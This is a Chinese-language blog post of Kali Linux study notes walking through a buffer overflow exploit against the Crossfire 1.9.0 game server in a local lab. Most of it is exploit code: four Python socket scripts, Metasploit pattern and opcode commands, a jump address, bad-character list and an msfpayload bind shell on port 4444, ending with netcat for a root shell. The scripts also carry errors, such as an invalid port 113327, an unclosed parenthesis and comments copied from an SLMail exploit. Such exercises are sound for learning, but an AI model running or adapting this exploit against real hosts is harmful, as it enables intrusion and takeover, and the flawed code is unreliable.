Kali linux 学习笔记(十九)缓冲区溢出——linux(crossfire) 2020.3.1

前言

上一篇在windows下用SLMail的漏洞实现缓冲区溢出
这次在Linux下用crossfire的漏洞实现缓冲区溢出

crossfire穿越火线

  • 多人在线rpg游戏
  • 1.9.0版本接受入站socket连接时存在缓冲区溢出
  • 新版本已经修复

这个漏洞是很早很早以前的
现在拿来学习和练手(笑)

1、实验准备

调试工具:edb-debug(kali自带)
运行平台:kali i486(32位)

crossfire准备
安装要注意路径

mv crossfire.tar.gz /usr/games/
cd /usr/games
tar zxpf crossfire.tar.gz
./crossfire
netstat -pentu #查看端口

本机准备
防止练手过程中,开放的端口被其他人攻击

iptables -A INPUT -p tcp --destination-port 13327 \~ -d 127.0.0.1 -j DROP #严格限制可以访问端口的IP
iptables -A INPUT -p tcp --destination-port 4444 \~ -d 127.0.0.1 -j DROP

调试

edb --run /usr/games/crossfire/bin/crossfire #通过edb调用crossfire

菜单栏debug下点两次run
出现小窗口监视

2、模糊测试

测试缓冲区溢出
根据已知信息
4379个字符刚好发生缓冲区溢出
(这个数据最初怎么得到的令人困惑)

脚本01.py

#!/usr/bin/python
import socket
host="127.0.0.1"
crash="\x41"*4379 #4379个"A",4379个字符刚好缓冲区溢出
buffer="\x11(setup sound "+crash+"\x90\x00#"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print("\nSending evil buffer...")
s.connect((host,113327) #连接SLMail
data=s.recv(1024)
print(data)
s.send(buffer)
s.close()
print("\nPayload Sent!")

3、精确寻找

唯一字符串

cd /usr/share/metasploit-framework/tools/
./pattern_create.rb 4379

生成4379个唯一字符串设为str

脚本02.py

#!/usr/bin/python
import socket
host="127.0.0.1"
crash=str #上面生成的字符串str
buffer="\x11(setup sound "+crash+"\x90\x00#"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print("\nSending evil buffer...")
s.connect((host,113327) #连接SLMail
data=s.recv(1024)
print(data)
s.send(buffer)
s.close()
print("\nPayload Sent!")

得到 EIP中内容46367046

./pattern_offset.rb 46367046 #成功定位4368

4、测试

脚本03.py

#!/usr/bin/python
import socket
host="127.0.0.1"
crash="A"*4368+"B"*4+"C"*7
buffer="\x11(setup sound "+crash+"\x90\x00#"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print("\nSending evil buffer...")
s.connect((host,113327) #连接SLMail
data=s.recv(1024)
print(data)
s.send(buffer)
s.close()
print("\nPayload Sent!")

确认EIP写入BBBB
但后续ESP空间太小,只有7个字节可以写,需要重新寻找一个寄存器

5、思路整理

发现在EAX中存放了buffer的内容
前12个字符是"setup sound "不能动
考虑将shellcode放入EAX
故从EIP跳转到ESP
ESP中7个字节跳转到EAX的第13个字节
EAX中放入shellcode

cd /usr/share/metasploit-framework/tools/
./nasm_shell.rb
>add eax,12 #偏移
>jmp eax #跳转

得到16进制\x83\xc0\x0c\xff\xe0\x90\x90
可以放入ESP

同样的
ESP的地址会变
寻找指令
在edb中plugins->opcode search
寻找EIP跳转ESP的指令地址08134597
放入EIP

寻找坏字符
操作省略(类似上一篇)
\x00\x0a\x0d\x20

6、shellcode

cd /usr/share/framework2/
./msfpayload -l #查看msfpayload里的shellcode
./msfpayload linux/x86/shell_bind_tcp LPORT=4444 R | msfencode -b "\x00\x0a\x0d\x20" #把坏字符编掉,R用来编码

生成shelllcode

脚本04.py

#!/usr/bin/python
import socket
host="127.0.0.1"
shellcode=(" ") #复制上面生成的shellcode
crash=shellcode+"A"*(4368-105)+"\x97\x45\x13\x08"+"\x83\xc0\x0c\xff\xe0\x90\x90" #105是shellcode的字节数
buffer="\x11(setup sound "+crash+"\x90\x00#"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print("\nSending evil buffer...")
s.connect((host,113327) #连接SLMail
data=s.recv(1024)
print(data)
s.send(buffer)
s.close()
print("\nPayload Sent!")

成功连接4444
nc 127.0.0.1 4444
获取root权限
为所欲为

结语

再一次了解缓冲区溢出
看来各种程序都有可能存在漏洞
使得电脑控制权被他人获取

下一节进一步学习缓冲区溢出

发布了28 篇原创文章 · 获赞 2 · 访问量 1029

猜你喜欢

转载自blog.csdn.net/weixin_44604541/article/details/104591616